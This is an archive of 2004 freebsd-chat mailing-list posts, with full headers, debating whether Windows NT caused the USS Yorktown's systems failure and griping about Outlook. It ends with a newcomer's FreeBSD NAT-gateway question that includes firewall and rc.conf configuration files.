“Unix is a better system for control of equipment and machinery, whereas NT is a better system for the transfer of information and data. NT has never been fully refined and there are times when we have had shutdowns that resulted from NT.” The Yorktown has been towed into port several times because of the systems failures, he said. “Because of politics, some things are being forced on us that without political pressure we might not do, like Windows NT,” Redman said. “If it were up to me I probably would not have used Windows NT in this particular application. If we used Unix, we would have a system that has less of a tendency to go down.” Redman has a different perspective. “If it were me, I wouldn’t say all the things that Tony [DiGiorgio] has said out of discretion and consideration for being a long-term employee,” he said. “But I will say this about Tony, he’s a very bright engineer.” “Everybody plays the obedience role where you cannot criticize the system,” said DiGiorgio, a self-described whistle-blower. “I’m not that kind of guy.” From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 18:50:15 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2EDBA16A4CF for ; Wed, 27 Oct 2004 18:50:15 +0000 (GMT) Received: from smtp1.pacifier.net (smtp1.pacifier.net [64.255.237.171]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1727E43D5D for ; Wed, 27 Oct 2004 18:50:13 +0000 (GMT) (envelope-from charles@coppersoftware.com) Received: from chuckoplaptop (66.89.130.110.ptr.us.xo.net [66.89.130.110]) by smtp1.pacifier.net (Postfix) with ESMTP id 1375670281; Wed, 27 Oct 2004 11:50:12 -0700 (PDT) From: "Charles Oppermann" To: "'Kevin Lyons'" Date: Wed, 27 Oct 2004 11:52:47 -0700 Organization: Copper Software MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: <417FDC97.4040503@ofdeng.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 Thread-Index: AcS8S4MGSzQKm87jRKm1icUWYs8GLQACVRDg Message-Id: <20041027185012.1375670281@smtp1.pacifier.net> cc: freebsd-chat@freebsd.org Subject: RE: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 18:50:15 -0000 >> Yes, look at the facts. The ship had been towed in several times due to nt failures. I have never had my system reboot or crash because of a usermode divide by zero- I guess thats another 'feature' of nt. Microsoft has done an admirable job of covering/obscuring the problem. Following link is an article with more detail talking with guys on the ship who have to service it. I have snipped out a few details. http://www.gcn.com/archives/gcn/1998/july13/cov2.htm << I'd read that article before posting. I can find no reference in that article or elsewhere that says the entire OS crashed. Unless the divide by zero exception occurred in the kernel, the OS would not crash. I say again, this problem was the result of bad third-party software, not the platform it was running on. ---Chuck From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 19:14:45 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2E0BE16A4CE for ; Wed, 27 Oct 2004 19:14:45 +0000 (GMT) Received: from s1.ofdeng.com (adsl-66-137-123-97.dsl.hstntx.swbell.net [66.137.123.97]) by mx1.FreeBSD.org (Postfix) with ESMTP id C5D9143D41 for ; Wed, 27 Oct 2004 19:14:44 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from ofdeng.com ([192.168.254.17]) by s1.ofdeng.com (8.12.11/8.12.11) with ESMTP id i9RJG87b086742; Wed, 27 Oct 2004 14:16:09 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <417FF39C.3090103@ofdeng.com> Date: Wed, 27 Oct 2004 14:14:36 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Charles Oppermann References: <20041027185012.1375670281@smtp1.pacifier.net> In-Reply-To: <20041027185012.1375670281@smtp1.pacifier.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 19:14:45 -0000 > I say again, this problem was the result of bad third-party software, not > the platform it was running on. Well, one of the chief engineers said on the project said ... "But according to DiGiorgio, who in an interview said he has serviced automated control systems on Navy ships for the past 26 years, the NT operating system is the source of the Yorktown’s computer problems." He did not say, "a third party app" was responsible. From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 19:28:17 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86CCF16A4CE for ; Wed, 27 Oct 2004 19:28:17 +0000 (GMT) Received: from s1.ofdeng.com (adsl-66-137-123-97.dsl.hstntx.swbell.net [66.137.123.97]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3592743D1F for ; Wed, 27 Oct 2004 19:28:17 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from ofdeng.com ([192.168.254.17]) by s1.ofdeng.com (8.12.11/8.12.11) with ESMTP id i9RJTgEo086967 for ; Wed, 27 Oct 2004 14:29:43 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <417FF6CA.2020802@ofdeng.com> Date: Wed, 27 Oct 2004 14:28:10 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 Cc: freebsd-chat@freebsd.org Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 19:28:17 -0000 > I'd read that article before posting. I can find no reference in that > article or elsewhere that says the entire OS crashed. Unless the divide by > zero exception occurred in the kernel, the OS would not crash. > > I say again, this problem was the result of bad third-party software, not > the platform it was running on. Well, we are off on a tangent here, but since you persist, here's some more from the article... "That caused the database to overflow and crash all LAN consoles and miniature remote terminal units, the memo said." LAN consoles crashed. Presumably the LAN consoles were NT boxes? What else would they be? Would you expect a PLC man-machine interface box to crash due to a divide by zero or even a network congestion. No way. And Citrix wasn't around then. "The program administrators are trained to bypass a bad data field and change the value if such a problem occurs again, Atlantic Fleet officials said. But “the Yorktown’s failure in September 1997 was not as simple as reported,” DiGiorgio said. “If you understand computers, you know that a computer normally is immune to the character of the data it processes,” he wrote in the June U.S. Naval Institute’s Proceedings Magazine. “Your $2.95 calculator, for example, gives you a zero when you try to divide a number by zero, and does not stop executing the next set of instructions. It seems that the computers on the Yorktown were not designed to tolerate such a simple failure.” So given the above statements it is hard believe wholly the 'official' report about a third party app divide by zero crashing the LAN consoles and/or the network. As I said, Microsoft has done a great job of obscuring/confusing the issue. From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 20:08:51 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E4F716A4CE for ; Wed, 27 Oct 2004 20:08:51 +0000 (GMT) Received: from s1.ofdeng.com (adsl-66-137-123-97.dsl.hstntx.swbell.net [66.137.123.97]) by mx1.FreeBSD.org (Postfix) with ESMTP id A299743D49 for ; Wed, 27 Oct 2004 20:08:50 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from ofdeng.com ([192.168.254.17]) by s1.ofdeng.com (8.12.11/8.12.11) with ESMTP id i9RKA4ml087758; Wed, 27 Oct 2004 15:10:06 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <41800040.2080302@ofdeng.com> Date: Wed, 27 Oct 2004 15:08:32 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Charles Oppermann References: <20041027194600.ADE3B6E5FA@smtp3.pacifier.net> In-Reply-To: <20041027194600.ADE3B6E5FA@smtp3.pacifier.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 20:08:51 -0000 Charles Oppermann wrote: > Yep, he said that, but there wasn't anything to support the statement, other > than his opinion. > Well, what about what his co-engineer has said... "NT has never been fully refined and there are times when we have had shutdowns that resulted from NT.” > However, there are crumbs of evidence to suggest that the fault was in the > third-party software; mentions of data entry, database software, etc. Crumbs is about all it is. You are making the point yourself but from a different angle. a) the official description of the event does not make sense. b) what does make sense and what the engineers on the project have said is that NT is the source of the problem and also that the official description of the events in this case are inaccurate. > Regardless, that's not central to this discussion. My point is, when an > application stupidly performs a divide by zero operation, Windows and UNIX > both handle the exception and terminate the process. I don't think either > platform helps the application recover from what is a programming mistake. Yes that is how kernels handle div/0. Therefore, the official explanation of what happened does not make sense. You are saying the third party app crashed because it was shit. The engineers on the project say it was an NT problem. Furthermore DiGiorgio says tongue in check that it would seem that the divide by zero protection your calculator has was seemingly not provided on this ships computers. Obviously it was, therefore he is saying the official explanation is false. If it was just a case of terminating the application, it seems unlikely that they would have been down for two hours. 5min would seem more likely. Wouldn't you also expect some kind of watchdog process. Their solution is to "retrain the program administrators" to override bad data fields. Huh? Makes no sense. If it was divide by zero, then do a damn check and move on. Why leave that in the hands of humans. Again doesn't make sense, > > Disclaimer: I worked on Windows NT during 10 years at Microsoft as a > developer and manager. In fact, today, I'm wearing my "NT GUI Dev Team" > shirt. Currently I work on a BSD-based storage networking product for a > small company. I really like BSD, but having examined both the NT and BSD > kernels, do not feel that either deserves the reputation they have. > > Thanks for the fun exchange! > No offense, but I wondered from where the evangelical defense of NT was coming. I agree, BSD Unix is not perfect, but I haven't found the perfect OS yet, nor any that come close. And I have tried them!!! boy have I tried them!!! still healing the scars. From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 23:59:24 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7DA7416A4CE for ; Wed, 27 Oct 2004 23:59:24 +0000 (GMT) Received: from smtp.knology.net (smtp.knology.net [24.214.63.101]) by mx1.FreeBSD.org (Postfix) with SMTP id 03C2143D1D for ; Wed, 27 Oct 2004 23:59:24 +0000 (GMT) (envelope-from dkelly@HiWAAY.net) Received: (qmail 24208 invoked by uid 0); 27 Oct 2004 23:59:44 -0000 Received: from user-69-73-60-132.knology.net (HELO ?10.0.0.68?) (69.73.60.132) by smtp2.knology.net with SMTP; 27 Oct 2004 23:59:44 -0000 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <417FCBDF.4040102@ofdeng.com> References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> <417FCBDF.4040102@ofdeng.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> Content-Transfer-Encoding: 7bit From: David Kelly Date: Wed, 27 Oct 2004 18:59:20 -0500 To: freebsd-chat@freebsd.org X-Mailer: Apple Mail (2.619) Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 23:59:24 -0000 On Oct 27, 2004, at 11:25 AM, Kevin Lyons wrote: > In pointing out the advantage of pointy clicky, I think you may > overlook a signifigant deleterious side effect. In fact there is > plenty of reason to disdain the point-click approach. Mainly because > it adds complexity to the software which tends to make the software > unstable. How often have you performed a gui command on a windoze > "system" (pick your flavor) and found that 1 time out of 10 it did not > work, even though the same procedure was repeated? How many times > has that happened on a Unix box with command line? As a mere mortal "forced" into Outlook at new employment I spent an hour or so spread over the past couple of days trying to figure out how the change the default password on my email account. The "admin" is an hourly part-time consultant. My "default" password was same as username. Microsoft online help wasn't helpful. No phrase I could conjure and utter as a magic spell would produce helpful hints. Google turned out to be a better help system than Microsoft. Of course the examples I found did not look like my version of Outlook. Learned Outlook behaves differently if it has an Exchange Server to talk to, which mine did not. On a lark I opened the company mail host with Internet Exploder and found a webmail server running which allowed changing my password. Knew full well were to type the new one in Outlook and the change worked. Then I installed Eudora in "advertising supported mode." Had more problems until I discovered my email account name was my full email address. When Eudora polls the server it says its checking account@host@mail.host. Prior to this situation I never fully understood how broken Outlook really was. That it really won't let one properly insert-reply. That it does not reply-quote any of the plain text component, not even when one forces plain-text mode on reply. When one insert-quotes the HTML section it only changes the color of one's text, does not break the quote bar down the left side. Overheard the Admin proclaim, "For only $X we can become a Microsoft Partner and get all sorts of wonderful software thrown in!" I can smell an Exchange server coming. I don't doubt Microsoft is one of the higher paid "employees" at this little company. -- David Kelly N4HHE, dkelly@HiWAAY.net ======================================================================== Whom computers would destroy, they must first drive mad. From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 03:20:43 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 21F4816A4CE for ; Thu, 28 Oct 2004 03:20:43 +0000 (GMT) Received: from aiolos.otenet.gr (aiolos.otenet.gr [195.170.0.23]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5254C43D4C for ; Thu, 28 Oct 2004 03:20:42 +0000 (GMT) (envelope-from keramida@ceid.upatras.gr) Received: from gothmog.gr (patr530-a148.otenet.gr [212.205.215.148]) i9S3KdFU007668; Thu, 28 Oct 2004 06:20:40 +0300 Received: from gothmog.gr (gothmog [127.0.0.1]) by gothmog.gr (8.13.1/8.13.1) with ESMTP id i9S3KcGI018130; Thu, 28 Oct 2004 06:20:38 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from giorgos@localhost) by gothmog.gr (8.13.1/8.13.1/Submit) id i9S3KZui018125; Thu, 28 Oct 2004 06:20:35 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Thu, 28 Oct 2004 06:20:35 +0300 From: Giorgos Keramidas To: David Kelly Message-ID: <20041028032035.GB2784@gothmog.gr> References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> <417FCBDF.4040102@ofdeng.com> <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 03:20:43 -0000 On 2004-10-27 18:59, David Kelly wrote: > Overheard the Admin proclaim, "For only $X we can become a Microsoft > Partner and get all sorts of wonderful software thrown in!" I can smell > an Exchange server coming. I don't doubt Microsoft is one of the higher > paid "employees" at this little company. More like a full blown MSDN subscription, which will let you receive versions of Windows, the operating system, Exchange, Outlook, Internet Explorer and a host of other tools for many exotic languages you will never really need ;-) From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 14:53:07 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EEA3D16A4CE for ; Thu, 28 Oct 2004 14:53:07 +0000 (GMT) Received: from s1.ofdeng.com (adsl-66-137-123-97.dsl.hstntx.swbell.net [66.137.123.97]) by mx1.FreeBSD.org (Postfix) with ESMTP id BEA8543D5A for ; Thu, 28 Oct 2004 14:53:06 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from [192.168.1.3] (tx-65-40-201-169.sta.sprint-hsd.net [65.40.201.169]) by s1.ofdeng.com (8.12.11/8.12.11) with ESMTP id i9SEsQmv004826; Thu, 28 Oct 2004 09:54:28 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <41810677.1060609@ofdeng.com> Date: Thu, 28 Oct 2004 09:47:19 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Kelly References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> <417FCBDF.4040102@ofdeng.com> <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> In-Reply-To: <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 14:53:08 -0000 David Kelly wrote: > > Google turned out to be a better help system than Microsoft. Of course > the examples I found did not look like my version of Outlook. Learned > Outlook behaves differently if it has an Exchange Server to talk to, > which mine did not. Oh yes. Very differently. Outhouse was made to sell Exchange. When using Outhouse with an RFC compliant IMAP server you will find all kinds of intentional mess-ups in Outlook. For instance, -Outlook will create a new mailserver imap store but will not create a sent items folder in it. IF you create it manually, there is no easy way to tell it to move sent items from the "local profiles" folder to the imap sent items store. There is a microsoft knowledge base on how to write a ruleset to do it; but guess what, it doesn't work on all systems. According to microsoft, service pack 2 must be installed but again guess what, even on some systems with sp2, the rule still doesnt work. oh well, clean install time. Even netscape will allow you to simply select a sent items folder for your imap store. -It is almost impossible to get outlook to stop sending attachments in their propreity .dat format. Even in forced plain text mode which the knowledgebase says will force mime, the thing still sends in .dat. -Ironically Outlook Express can't read .dat attachments, nor can many mail readers. So in a typical situation, you send email at work then try from home to read a sent item with an attachment and guess what, the attachment doesnt show up. Ironically, Outlook Express does handle sent mail properly. Outlook Express is more standards compliant that Outlook proper. Pathetic. Bottom line is that Outlook is intentionally crippled by microsoft to work with IMAP, which is a serious competitor (superior scalability for sure) to Exchange. And they wonder why they are hated and despised. From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 15:02:31 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F2D316A4CE for ; Thu, 28 Oct 2004 15:02:31 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id ACE7A43D41 for ; Thu, 28 Oct 2004 15:02:30 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id 1F1C95314; Thu, 28 Oct 2004 17:02:29 +0200 (CEST) Received: from dwp.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 7215E5312; Thu, 28 Oct 2004 17:02:22 +0200 (CEST) Received: by dwp.des.no (Postfix, from userid 2602) id 5018AB85E; Thu, 28 Oct 2004 17:02:22 +0200 (CEST) To: David Kelly References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> <417FCBDF.4040102@ofdeng.com> <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Thu, 28 Oct 2004 17:02:22 +0200 In-Reply-To: <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> (David Kelly's message of "Wed, 27 Oct 2004 18:59:20 -0500") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on flood.des.no X-Spam-Level: X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.64 cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 15:02:31 -0000 David Kelly writes: > As a mere mortal "forced" into Outlook at new employment [...] 'portinstall ximian-connector' DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 15:34:22 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7B4D816A4CE for ; Thu, 28 Oct 2004 15:34:22 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 36F1D43D3F for ; Thu, 28 Oct 2004 15:34:21 +0000 (GMT) (envelope-from krylon@gmx.net) Received: (qmail 30768 invoked by uid 65534); 28 Oct 2004 15:34:19 -0000 Received: from i53875882.versanet.de (EHLO [192.168.0.13]) (83.135.88.130) by mail.gmx.net (mp003) with SMTP; 28 Oct 2004 17:34:19 +0200 X-Authenticated: #685629 Message-ID: <4181117B.4030403@gmx.net> Date: Thu, 28 Oct 2004 17:34:19 +0200 From: Benjamin Walkenhorst User-Agent: Mozilla Thunderbird 0.7.3 (X11/20041025) X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Kelly References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> <417FCBDF.4040102@ofdeng.com> <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> In-Reply-To: <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 15:34:22 -0000 David Kelly wrote: > Google turned out to be a better help system than Microsoft. This should really be giving Microsoft something to worry about... =) OTOH, I guess, google is a better help system than most commercial vendor's help system. At work, I'm currently working with IBM's z/OS, and it has some really /strange/ quirks the docs don't mention at all, like variant characters in EBCDIC that /IBM's/ proprietary Terminal-emulation is unable to display correctly... (Then again, it's not exactly a desktop operating system...) Kind regards, Benjamin From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 19:25:47 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 75F1716A4CE for ; Thu, 28 Oct 2004 19:25:47 +0000 (GMT) Received: from web41713.mail.yahoo.com (web41713.mail.yahoo.com [66.218.93.130]) by mx1.FreeBSD.org (Postfix) with SMTP id 279BD43D31 for ; Thu, 28 Oct 2004 19:25:47 +0000 (GMT) (envelope-from jeliazkoge@yahoo.com) Message-ID: <20041028192546.66960.qmail@web41713.mail.yahoo.com> Received: from [84.21.192.150] by web41713.mail.yahoo.com via HTTP; Thu, 28 Oct 2004 12:25:46 PDT Date: Thu, 28 Oct 2004 12:25:46 -0700 (PDT) From: Zhelyazko Georgiev To: freebsd-chat@freebsd.org MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-473234177-1098991546=:66756" Subject: Request: X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 19:25:47 -0000 --0-473234177-1098991546=:66756 Content-Type: text/plain; charset=us-ascii Content-Id: Content-Disposition: inline Dear members of the freebsd mailing list, I'm new to freebsd and still trying to learn some basic concepts as far as configurating it as operating system. The question that I'm about to ask is probably very simple so I ask for your excuse to bother you with hat question but I'm trying to figure it out for a long time now and still no results. I'm trying to setup my FreeBSD 5.2 Realease to act as a Nat router/ gateway. I compiled the kernel by including the following options : options IPFIREWALL options IPDIVERT options IPSEC options IPSEC_ESP options IPSEC_DEBUG options IPFILTER options PFIL_HOOKS attached are my inetd.conf ; ipf.rules ; ipnat.rules and rc.conf files. I'm able to ping both networks and access internet from the freebsd machine. From the external network I cannot see the internal (as it should be) from the internal I can ping the internal IP 192.168.1.1 of my FreeBSD box and also the external IP address 84.21.192.168 but I'm not able to see the router of my ISP 84.21.192.1 and for that reason I do not have internet for the internal network. Please help me to figure out why I'm not able to make this thing to work. Any help is highly appreciated. Thank you in advance. __________________________________ Do you Yahoo!? Yahoo! Mail - Helps protect you from nasty viruses. http://promotions.yahoo.com/new_mail --0-473234177-1098991546=:66756 Content-Type: text/plain; name="inetd.conf.txt" Content-Description: inetd.conf.txt Content-Disposition: inline; filename="inetd.conf.txt" $FreeBSD: src/etc/inetd.conf,v 1.63 2003/06/09 21:04:30 markm Exp $ # # Internet server configuration database # # Define *both* IPv4 and IPv6 entries for dual-stack support. # To disable a service, comment it out by prefixing the line with '#'. # To enable a service, remove the '#' at the beginning of the line. # #ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l #ftp stream tcp6 nowait root /usr/libexec/ftpd ftpd -l ssh stream tcp nowait root /usr/sbin/sshd sshd -i -4 ssh stream tcp6 nowait root /usr/sbin/sshd sshd -i -6 #telnet stream tcp nowait root /usr/libexec/telnetd telnetd #telnet stream tcp6 nowait root /usr/libexec/telnetd telnetd #shell stream tcp nowait root /usr/libexec/rshd rshd #shell stream tcp6 nowait root /usr/libexec/rshd rshd #login stream tcp nowait root /usr/libexec/rlogind rlogind #login stream tcp6 nowait root /usr/libexec/rlogind rlogind #finger stream tcp nowait/3/10 nobody /usr/libexec/fingerd fingerd -s #finger stream tcp6 nowait/3/10 nobody /usr/libexec/fingerd fingerd -s #exec stream tcp nowait root /usr/libexec/rexecd rexecd # # run comsat as root to be able to print partial mailbox contents w/ biff, # or use the safer tty:tty to just print that new mail has been received. #comsat dgram udp wait tty:tty /usr/libexec/comsat comsat # # ntalk is required for the 'talk' utility to work correctly #ntalk dgram udp wait tty:tty /usr/libexec/ntalkd ntalkd #tftp dgram udp wait root /usr/libexec/tftpd tftpd -s /tftpboot #tftp dgram udp6 wait root /usr/libexec/tftpd tftpd -s /tftpboot #bootps dgram udp wait root /usr/libexec/bootpd bootpd # # "Small servers" -- used to be standard on, but we're more conservative # about things due to Internet security concerns. Only turn on what you # need. file "inetd.conf", 119 lines --0-473234177-1098991546=:66756 Content-Type: text/plain; name="ipf.rules.txt" Content-Description: ipf.rules.txt Content-Disposition: inline; filename="ipf.rules.txt" #Basic ruleset block in all with frag #Only I can pass packets out on the external interface pass out quick rl0 proto tcp from 84.21.192.150 to any keep state pass out quick on rl0 proto udp from 84.21.192.150 to any keep state pass out quick on rl0 proto icmp from 84.21.192.150 to any keep state pass out quick all block in on rl0 proto icmp all pass in on rl0 proto icmp from any to any icmp-type echo pass in on rl0 proto icmp from any to any icmp-type echorep block in on rl0 proto icmp from any to any icmp-type unreach code3 #Block all other non established connections block in quick on rl0 proto tcp from any to any flags S/SA --0-473234177-1098991546=:66756 Content-Type: text/plain; name="rc.conf.txt" Content-Description: rc.conf.txt Content-Disposition: inline; filename="rc.conf.txt" # -- sysinstall generated deltas -- # Thu Feb 3 00:05:26 2000 # Created: Thu Feb 3 00:05:26 2000 # Enable network daemons for user convenience. # Please make all changes to this file, not to /etc/defaults/rc.conf. # This file now contains just the overrides from /etc/defaults/rc.conf. defaultrouter="84.21.192.1" gateway_enable="YES" hostname="ironhost.server.com" #ipsec_enable="YES" enable_firewall="YES" firewall_type="OPEN" firewall_quiet="YES" ipfilter_enable="YES" ipnat_enable="YES" natd_enable="YES" natd_interface="rl0" natd_flags="-f /etc/natd.rules" sendmail_enable="NONE" fsck_y_enable="YES" syslogd_enable="NO" inetd_enable="YES" ifconfig_rl0="inet 84.21.192.150 netmask 255.255.255.0" ifconfig_rl1="inet 192.168.1.1 netmask 255.255.0.0" linux_enable="YES" moused_enable="YES" sshd_enable="YES" usbd_enable="NO" # This file now contains just the overrides from /etc/defaults/rc.conf. # Please make all changes to this file, not to /etc/defaults/rc.conf. # Enable network daemons for user convenience. # Created: Fri Feb 4 